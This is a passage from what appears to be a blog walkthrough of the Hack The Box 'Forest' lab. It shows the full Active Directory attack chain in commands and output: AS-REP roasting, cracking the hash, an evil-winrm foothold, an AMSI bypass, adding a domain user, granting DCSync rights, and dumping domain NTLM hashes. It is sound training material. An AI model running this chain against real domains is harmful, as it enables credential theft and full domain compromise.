<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[HealthMailboxfd87238]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x475]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[HealthMailboxb01ac64]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x476]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[HealthMailbox7108a4e]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x477]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[HealthMailbox0659cc1]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x478]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[sebastien]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x479]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[lucinda]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x47a]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[svc-alfresco]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x47b]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[andy]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x47e]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[mark]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x47f]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[santi]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x480]</span>
</code></pre>
<p>There one particular user account in the list of user accounts identified through the RPC command <code>enumdomusers</code> that stands out and that is the user <code>svc-alfresco</code> This is a service account for the service https://www.alfresco.com/.</p>
<p>Doing some googling and after skimming through the service alfresco documentation we find out on <a target="_blank" href="https://docs.alfresco.com/process-services/latest/config/authenticate/">https://docs.alfresco.com/process-services/latest/config/authenticate/</a> that the service requires Kerberos pre-authentication to be disabled</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697233322651/0a1a9a44-87fe-4140-bec9-fd61603b0c41.png" alt class="image--center mx-auto" /></p>
<p>as we see on number 8, it clearly shows that Kerberos pre-authentication is disabled, <em>Do not require Kerberos preauthentication</em> is enabled. THIS IS A HUGE VULNERABILITY RIGHT HERE!!!</p>
<h3 id="heading-asreproasting">ASREPRoasting</h3>
<p>Now let's talk about what <strong>ASREPRoasting</strong> is:</p>
<p>ASREPRoasting takes advantage of a weakness in the way some user accounts are configured. Specifically, it targets user accounts that have a setting called "Do not require Kerberos preauthentication" enabled. Preauthentication is a security feature that ensures the user's password is verified before granting access. If it's disabled, the system allows for a specific type of attack called ASREPRoasting.</p>
<p>now in our scenario as the attackers we can perform this attack, this is possible as we have identified that the service account alfresco has enabled <em>Do not require Kerberos preauthentication ,</em> knowing this we can request a TGT (ticket-granting ticket) for this user account and since preauthentication has been disabled we will not be prompted for a way to authenticate ourselves. Its quite simple... we can use the impacket tools <code>packet-GetNPUsers</code> to do so.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697234970601/e4e192ab-f97a-4e4a-922a-3293bc36ff13.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">impacket-GetNPUsers</span> <span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>/ <span class="hljs-selector-tag">-dc-ip</span> 10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.171</span><span class="hljs-selector-class">.71</span>  <span class="hljs-selector-tag">-usersfile</span> <span class="hljs-selector-tag">user</span><span class="hljs-selector-class">.txt</span>  <span class="hljs-selector-tag">-request</span>
</code></pre>
<p>and successfully we have been able to request the TGT(Ticket Granting Ticket) and we have also dumped the hash. Now it's time to find a way of retrieving the plain text password from this hash. We can try to brute force this hash using the wordlist <code>rockyou.txt</code>. For this, we will use a favorite tool of mine when it comes to brute forcing hashes, John the Ripper. Hashcat is also good too. You do you <a target="_blank" href="https://emojipedia.org/face-with-tears-of-joy">😂</a><a target="_blank" href="https://emojipedia.org/wine-glass">🍷</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697235988908/e5d9c459-6796-4af9-9fdf-05b1135972af.jpeg" alt class="image--center mx-auto" /></p>
<p>we save the hash to file called <code>hash</code> and then we use Johntheripper to crack the "$krb5asrep$" hash</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697236144048/c3d4abcc-bffb-4f3b-af4f-68ac98fdb977.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">john</span> <span class="hljs-selector-tag">--wordlist</span>=/<span class="hljs-selector-tag">usr</span>/<span class="hljs-selector-tag">share</span>/<span class="hljs-selector-tag">wordlists</span>/<span class="hljs-selector-tag">rockyou</span><span class="hljs-selector-class">.txt</span>  <span class="hljs-selector-tag">hash</span>
</code></pre>
<p>we get the plaintext password as</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697236244130/1d10f5a2-395b-4ac3-87c8-7b7e8a62fcbc.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css">$<span class="hljs-selector-tag">krb5asrep</span>$23$<span class="hljs-selector-tag">svc-alfresco</span><span class="hljs-keyword">@HTB</span>.LOCAL:s3rvice
</code></pre>
<p>now that we have</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">credentials</span>
<span class="hljs-selector-tag">username</span><span class="hljs-selector-pseudo">:svc-alfresco</span>
<span class="hljs-selector-tag">password</span><span class="hljs-selector-pseudo">:s3rvice</span>
</code></pre>
<h3 id="heading-getting-the-foothold">Getting the Foothold</h3>
<p>we can try and authenticate through winrm service(the one we saw was open earlier) using <code>evil-winrm</code> , lets check with crackmapexec if it winrm access is possible together with smb.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697236876237/c3d2fd72-20a8-4d38-aebe-42c56f284bdc.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">crackmapexec</span> <span class="hljs-selector-tag">smb</span> <span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span> <span class="hljs-selector-tag">-u</span> <span class="hljs-selector-tag">svc-alfresco</span> <span class="hljs-selector-tag">-p</span> <span class="hljs-selector-tag">s3rvice</span> <span class="hljs-selector-tag">--shares</span>
</code></pre>
<p>yeap we definitely have smb access with the service account svc-alfresco, though we don't seem to get anything interesting here... lets move onto winrm.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697237034691/def0a577-56e6-44f8-9a3b-e46fb77c1573.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">crackmapexec</span> <span class="hljs-selector-tag">winrm</span> <span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span> <span class="hljs-selector-tag">-u</span> <span class="hljs-selector-tag">svc-alfresco</span> <span class="hljs-selector-tag">-p</span> <span class="hljs-selector-tag">s3rvice</span>
</code></pre>
<p>Awesome!!! we can gain access through winrm...</p>
<p>now using evil-winrm we just use the credentials we've obtained to gain access as the user account <strong>svc-alfresco.</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697237332712/21abba9e-8b9e-4737-a435-c7c314c609ea.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">evil-winrm</span>  <span class="hljs-selector-tag">-i</span> 10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.171</span><span class="hljs-selector-class">.71</span>  <span class="hljs-selector-tag">-u</span> <span class="hljs-selector-tag">svc-alfresco</span>  <span class="hljs-selector-tag">-p</span> '<span class="hljs-selector-tag">s3rvice</span>'
</code></pre>
<h3 id="heading-privilege-escalation">Privilege escalation</h3>
<p>so now that we have our foothold we try to map out and visualize the relationships between objects and permissions in the AD environment. For this, we will have to upload <strong>sharphound</strong> on the machine,</p>
<p>SharpHound's primary purpose is to perform comprehensive data collection and enumeration within Active Directory environments.</p>
<p>Now we will be uploading SharpHound.exe but if it were a real-life pentest it would be totally a bad idea to just upload it without doing modifications to bypass the defenses... in a real pentest, you're gonna have to highly consider Antiviruses and other detection mechanisms that have been put in place to detect and stop what your doing. We'll talk more about that in the future.</p>
<p>now i upload sharphound.exe through the <code>upload</code> functionality of evil-winrm... in other instances, you gonna have to use certutil or a simple powershell script to do this for you but in this instance, we will just upload it through evil-winrm.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697238534098/14542909-3130-42e0-b3b6-72d628f2ec1c.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css">*<span class="hljs-selector-tag">Evil-WinRM</span>* <span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">Users</span>\<span class="hljs-selector-tag">svc-alfresco</span>\<span class="hljs-selector-tag">Documents</span>&gt; <span class="hljs-selector-tag">upload</span> <span class="hljs-selector-tag">SharpHound</span><span class="hljs-selector-class">.exe</span>
</code></pre>
<p>now we execute sharphound.exe on the target machine</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697238753820/cfa827b8-822b-481a-8a19-2fdf011819eb.png" alt class="image--center mx-auto" /></p>
<p>We have successfully executed SharpHound on the victim pc and have got our output</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697238986999/fc1ca904-4163-41bc-9a67-da7537deb969.png" alt class="image--center mx-auto" /></p>
<p>now we will just download the <code>20231013161843_BloodHound.zip</code> onto our attacker machine and use bloodhound to extract the info and visualize the info for us.</p>
<p>just as we uploaded the <code>sharphound.exe</code> onto the machine we can just use the <code>download</code> command to download the <code>20231013161843_BloodHound.zip</code> file on our machine.</p>
<p>Now if you are new to bloodhound, you can watch this great video done by InfoSecPat(Patrick) on how you can set it up.</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://youtu.be/K-fdN8_dbRA?si=S7hU14yctzgLiiz4">https://youtu.be/K-fdN8_dbRA?si=S7hU14yctzgLiiz4</a></div>
<p> </p>
<p>as for me i'll just start up <code>neo4j</code> and bloodhound</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697239553222/0c2d543a-b5eb-4802-9943-dc0368d3bdb4.png" alt class="image--center mx-auto" /></p>
<p>and I'll open up bloodhound</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697239634191/07aed949-e48f-4fae-888d-8546cf4c8573.png" alt class="image--center mx-auto" /></p>
<p>now I'll make sure to clear my database and using the zip that we just downloaded from the victim machine we are going to drag it onto bloodhound and begin our analysis.</p>
<p>In our own analysis(made sure to mark account svc-alfresco as owned) we see that the user svc-alfresco is part of the account operators group who has generic all privileges on the "Exchange Windows Permissions" group, bloodhound informs us we can create a domain account which we can add to the "Exchange Windows Permissions" group and as part of the "Exchange Windows Permissions" we will now have writeDACL privileges. We will be able to write the Domain Access Control List of the account that we will have created to DCSync.</p>
<p>shortest path to domain admins made me identify the interesting group "Exchange Windows Permissions" which in turn led me to investigating the group...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697243834442/6ab8c1ac-84a7-48f2-827f-e6bf861eafd2.png" alt class="image--center mx-auto" /></p>
<p>generical all(INBOUND CONTROL RIGHTS--&gt;Unrolled Object Controllers)[EXCANGE WINDOWS PERMISSIONS]</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697243476553/abcb4f7a-d33c-400d-b38a-20902eb1bd13.png" alt class="image--center mx-auto" /></p>
<p>writeDACL</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697243890292/a9aea73b-bf8d-493e-9527-764619dcf49c.png" alt class="image--center mx-auto" /></p>
<p>now that we create an account as svc-alfresco(svc-alfresco) is part of the Account operators group which enables him to add accounts in the domain... but before that lets make sure to bypass AMSI(Antimalware Scripting Interface)</p>
<p>AMSI stands for Antimalware Scan Interface. It is a Microsoft security feature that helps protect against and detect malicious code hidden within scripts or macros, particularly in scripting languages like PowerShell and JavaScript.</p>
<p>we disable this through evil-winrm using the command</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">Bypass-4MSI</span>
</code></pre>
<p>In an actual engagement its gonna take more than that to be honest. Anyway we now continue with the process of creating an account, adding it to the domain and then to the "Exchange Windows Permissions" group to have exploited the generic all privileges that we had.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697244635539/cde5c256-25f7-43ab-b198-ecbdc5285536.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css">*<span class="hljs-selector-tag">Evil-WinRM</span>* <span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">Users</span>\<span class="hljs-selector-tag">svc-alfresco</span>\<span class="hljs-selector-tag">Documents</span>&gt; <span class="hljs-selector-tag">net</span> <span class="hljs-selector-tag">user</span> <span class="hljs-selector-tag">isaiah</span> <span class="hljs-selector-tag">isaiah123</span>! /<span class="hljs-selector-tag">add</span> /<span class="hljs-selector-tag">domain</span>
<span class="hljs-selector-tag">The</span> <span class="hljs-selector-tag">command</span> <span class="hljs-selector-tag">completed</span> <span class="hljs-selector-tag">successfully</span>.

*<span class="hljs-selector-tag">Evil-WinRM</span>* <span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">Users</span>\<span class="hljs-selector-tag">svc-alfresco</span>\<span class="hljs-selector-tag">Documents</span>&gt; <span class="hljs-selector-tag">net</span> <span class="hljs-selector-tag">group</span> "<span class="hljs-selector-tag">Exchange</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">Permissions</span>" <span class="hljs-selector-tag">isaiah</span> /<span class="hljs-selector-tag">add</span> 
<span class="hljs-selector-tag">The</span> <span class="hljs-selector-tag">command</span> <span class="hljs-selector-tag">completed</span> <span class="hljs-selector-tag">successfully</span>.
</code></pre>
<p>Now that we have a user <code>isaiah</code> belonging to the "Exchange Windows Permissions" group we abuse the writeDACL privileges by following how we are guided in bloodhound. We need to upload Powerview.ps1(<a target="_blank" href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1</a>) into our victim pc which will enable us to do all this.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697246488459/6f3322e6-a0f2-4a9b-b88d-115864184f67.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css">*<span class="hljs-selector-tag">Evil-WinRM</span>* <span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">Users</span>\<span class="hljs-selector-tag">svc-alfresco</span>\<span class="hljs-selector-tag">Documents</span>&gt; <span class="hljs-selector-tag">upload</span> <span class="hljs-selector-tag">PowerView</span><span class="hljs-selector-class">.ps1</span>

<span class="hljs-selector-tag">Info</span>: <span class="hljs-selector-tag">Uploading</span> /<span class="hljs-selector-tag">home</span>/<span class="hljs-selector-tag">isayar17_x401a</span>/<span class="hljs-selector-tag">OSCP</span>/<span class="hljs-selector-tag">HTB</span>/<span class="hljs-selector-tag">OSCP_Labs</span>/<span class="hljs-selector-tag">forest</span>/<span class="hljs-selector-tag">revisitp2</span>/<span class="hljs-selector-tag">PowerView</span><span class="hljs-selector-class">.ps1</span> <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">Users</span>\<span class="hljs-selector-tag">svc-alfresco</span>\<span class="hljs-selector-tag">Documents</span>\<span class="hljs-selector-tag">PowerView</span><span class="hljs-selector-class">.ps1</span>

<span class="hljs-selector-tag">Data</span>: 1027036 <span class="hljs-selector-tag">bytes</span> <span class="hljs-selector-tag">of</span> 1027036 <span class="hljs-selector-tag">bytes</span> <span class="hljs-selector-tag">copied</span>

<span class="hljs-selector-tag">Info</span>: <span class="hljs-selector-tag">Upload</span> <span class="hljs-selector-tag">successful</span>!
*<span class="hljs-selector-tag">Evil-WinRM</span>* <span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">Users</span>\<span class="hljs-selector-tag">svc-alfresco</span>\<span class="hljs-selector-tag">Documents</span>&gt; <span class="hljs-selector-tag">Import-Module</span> .\<span class="hljs-selector-tag">PowerView</span><span class="hljs-selector-class">.ps1</span>
*<span class="hljs-selector-tag">Evil-WinRM</span>* <span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">Users</span>\<span class="hljs-selector-tag">svc-alfresco</span>\<span class="hljs-selector-tag">Documents</span>&gt; $<span class="hljs-selector-tag">SecPassword</span> = <span class="hljs-selector-tag">ConvertTo-SecureString</span> '<span class="hljs-selector-tag">isaiah123</span>!' <span class="hljs-selector-tag">-AsPlainText</span> <span class="hljs-selector-tag">-Forcee</span>
*<span class="hljs-selector-tag">Evil-WinRM</span>* <span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">Users</span>\<span class="hljs-selector-tag">svc-alfresco</span>\<span class="hljs-selector-tag">Documents</span>&gt; $<span class="hljs-selector-tag">Cred</span> = <span class="hljs-selector-tag">New-Object</span> <span class="hljs-selector-tag">System</span><span class="hljs-selector-class">.Management</span><span class="hljs-selector-class">.Automation</span><span class="hljs-selector-class">.PSCredential</span>('<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">isaiah</span>', $<span class="hljs-selector-tag">SecPassword</span>)
*<span class="hljs-selector-tag">Evil-WinRM</span>* <span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">Users</span>\<span class="hljs-selector-tag">svc-alfresco</span>\<span class="hljs-selector-tag">Documents</span>&gt; <span class="hljs-selector-tag">Add-DomainObjectAcl</span> <span class="hljs-selector-tag">-Credential</span> $<span class="hljs-selector-tag">Cred</span> <span class="hljs-selector-tag">-TargetIdentity</span> "<span class="hljs-selector-tag">DC</span>=<span class="hljs-selector-tag">htb</span>,<span class="hljs-selector-tag">DC</span>=<span class="hljs-selector-tag">local</span>" <span class="hljs-selector-tag">-PrincipalIdentity</span> <span class="hljs-selector-tag">isaiah</span> <span class="hljs-selector-tag">-Rights</span> <span class="hljs-selector-tag">DCSync</span>
*<span class="hljs-selector-tag">Evil-WinRM</span>* <span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">Users</span>\<span class="hljs-selector-tag">svc-alfresco</span>\<span class="hljs-selector-tag">Documents</span>&gt;
</code></pre>
<p>now its with the info we get from bloodhound, the reason as to why we create the PSCredential object is because we do not an active session, but if we did we'd not have to create it... but for this scenario we have to... and the last line we give DCSync rights to the domain account <code>isaiah</code> which will simulate the behavior of a Domain Controller (DC) and send a DCSync request to the AD, mimicking the legitimate replication process. In response we get password hashes belonging to user accounts.</p>
<h3 id="heading-dcsync-attack">DCSync Attack</h3>
<p>With elevated privileges, an attacker can simulate the behavior of a Domain Controller (DC) and send a DCSync request to the AD, mimicking the legitimate replication <a target="_blank" href="http://process.In">process. In</a> response, the AD provides the attacker with password hashes for user accounts, which are often stored in a format amenable to offline cracking. (repeat of above) just echoing out...</p>
<p>now using <code>impacket-secretsdump</code> we are able to dump the NTLM hashes of domain users stored in the NTDS.dit</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697247386588/e0a20902-ded4-49fa-b663-c7218ebd5870.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">Impacket</span> <span class="hljs-selector-tag">v0</span><span class="hljs-selector-class">.11</span><span class="hljs-selector-class">.0</span> <span class="hljs-selector-tag">-</span> <span class="hljs-selector-tag">Copyright</span> 2023 <span class="hljs-selector-tag">Fortra</span>

<span class="hljs-selector-attr">[-]</span> <span class="hljs-selector-tag">RemoteOperations</span> <span class="hljs-selector-tag">failed</span>: <span class="hljs-selector-tag">DCERPC</span> <span class="hljs-selector-tag">Runtime</span> <span class="hljs-selector-tag">Error</span>: <span class="hljs-selector-tag">code</span>: 0<span class="hljs-selector-tag">x5</span> <span class="hljs-selector-tag">-</span> <span class="hljs-selector-tag">rpc_s_access_denied</span> 
<span class="hljs-selector-attr">[*]</span> <span class="hljs-selector-tag">Dumping</span> <span class="hljs-selector-tag">Domain</span> <span class="hljs-selector-tag">Credentials</span> (<span class="hljs-selector-tag">domain</span>\<span class="hljs-selector-tag">uid</span><span class="hljs-selector-pseudo">:rid</span><span class="hljs-selector-pseudo">:lmhash</span><span class="hljs-selector-pseudo">:nthash)</span>
<span class="hljs-selector-attr">[*]</span> <span class="hljs-selector-tag">Using</span> <span class="hljs-selector-tag">the</span> <span class="hljs-selector-tag">DRSUAPI</span> <span class="hljs-selector-tag">method</span> <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">get</span> <span class="hljs-selector-tag">NTDS</span><span class="hljs-selector-class">.DIT</span> <span class="hljs-selector-tag">secrets</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">Administrator</span><span class="hljs-selector-pseudo">:500</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:32693b11e6aa90eb43d32c72a07ceea6</span>:::
<span class="hljs-selector-tag">Guest</span><span class="hljs-selector-pseudo">:501</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:31d6cfe0d16ae931b73c59d7e0c089c0</span>:::
<span class="hljs-selector-tag">krbtgt</span><span class="hljs-selector-pseudo">:502</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:819af826bb148e603acb0f33d17632f8</span>:::
<span class="hljs-selector-tag">DefaultAccount</span><span class="hljs-selector-pseudo">:503</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:31d6cfe0d16ae931b73c59d7e0c089c0</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\$331000<span class="hljs-selector-tag">-VK4ADACQNUCA</span><span class="hljs-selector-pseudo">:1123</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:31d6cfe0d16ae931b73c59d7e0c089c0</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">SM_2c8eef0a09b545acb</span><span class="hljs-selector-pseudo">:1124</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:31d6cfe0d16ae931b73c59d7e0c089c0</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">SM_ca8c2ed5bdab4dc9b</span><span class="hljs-selector-pseudo">:1125</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:31d6cfe0d16ae931b73c59d7e0c089c0</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">SM_75a538d3025e4db9a</span><span class="hljs-selector-pseudo">:1126</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:31d6cfe0d16ae931b73c59d7e0c089c0</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">SM_681f53d4942840e18</span><span class="hljs-selector-pseudo">:1127</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:31d6cfe0d16ae931b73c59d7e0c089c0</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">SM_1b41c9286325456bb</span><span class="hljs-selector-pseudo">:1128</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:31d6cfe0d16ae931b73c59d7e0c089c0</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">SM_9b69f1b9d2cc45549</span><span class="hljs-selector-pseudo">:1129</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:31d6cfe0d16ae931b73c59d7e0c089c0</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">SM_7c96b981967141ebb</span><span class="hljs-selector-pseudo">:1130</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:31d6cfe0d16ae931b73c59d7e0c089c0</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">SM_c75ee099d0a64c91b</span><span class="hljs-selector-pseudo">:1131</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:31d6cfe0d16ae931b73c59d7e0c089c0</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">SM_1ffab36a2f5f479cb</span><span class="hljs-selector-pseudo">:1132</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:31d6cfe0d16ae931b73c59d7e0c089c0</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxc3d7722</span><span class="hljs-selector-pseudo">:1134</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:4761b9904a3d88c9c9341ed081b4ec6f</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxfc9daad</span><span class="hljs-selector-pseudo">:1135</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:5e89fd2c745d7de396a0152f0e130f44</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxc0a90c9</span><span class="hljs-selector-pseudo">:1136</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:3b4ca7bcda9485fa39616888b9d43f05</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox670628e</span><span class="hljs-selector-pseudo">:1137</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:e364467872c4b4d1aad555a9e62bc88a</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox968e74d</span><span class="hljs-selector-pseudo">:1138</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:ca4f125b226a0adb0a4b1b39b7cd63a9</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox6ded678</span><span class="hljs-selector-pseudo">:1139</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:c5b934f77c3424195ed0adfaae47f555</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox83d6781</span><span class="hljs-selector-pseudo">:1140</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:9e8b2242038d28f141cc47ef932ccdf5</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxfd87238</span><span class="hljs-selector-pseudo">:1141</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:f2fa616eae0d0546fc43b768f7c9eeff</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxb01ac64</span><span class="hljs-selector-pseudo">:1142</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:0d17cfde47abc8cc3c58dc2154657203</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox7108a4e</span><span class="hljs-selector-pseudo">:1143</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:d7baeec71c5108ff181eb9ba9b60c355</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox0659cc1</span><span class="hljs-selector-pseudo">:1144</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:900a4884e1ed00dd6e36872859c03536</span>:::
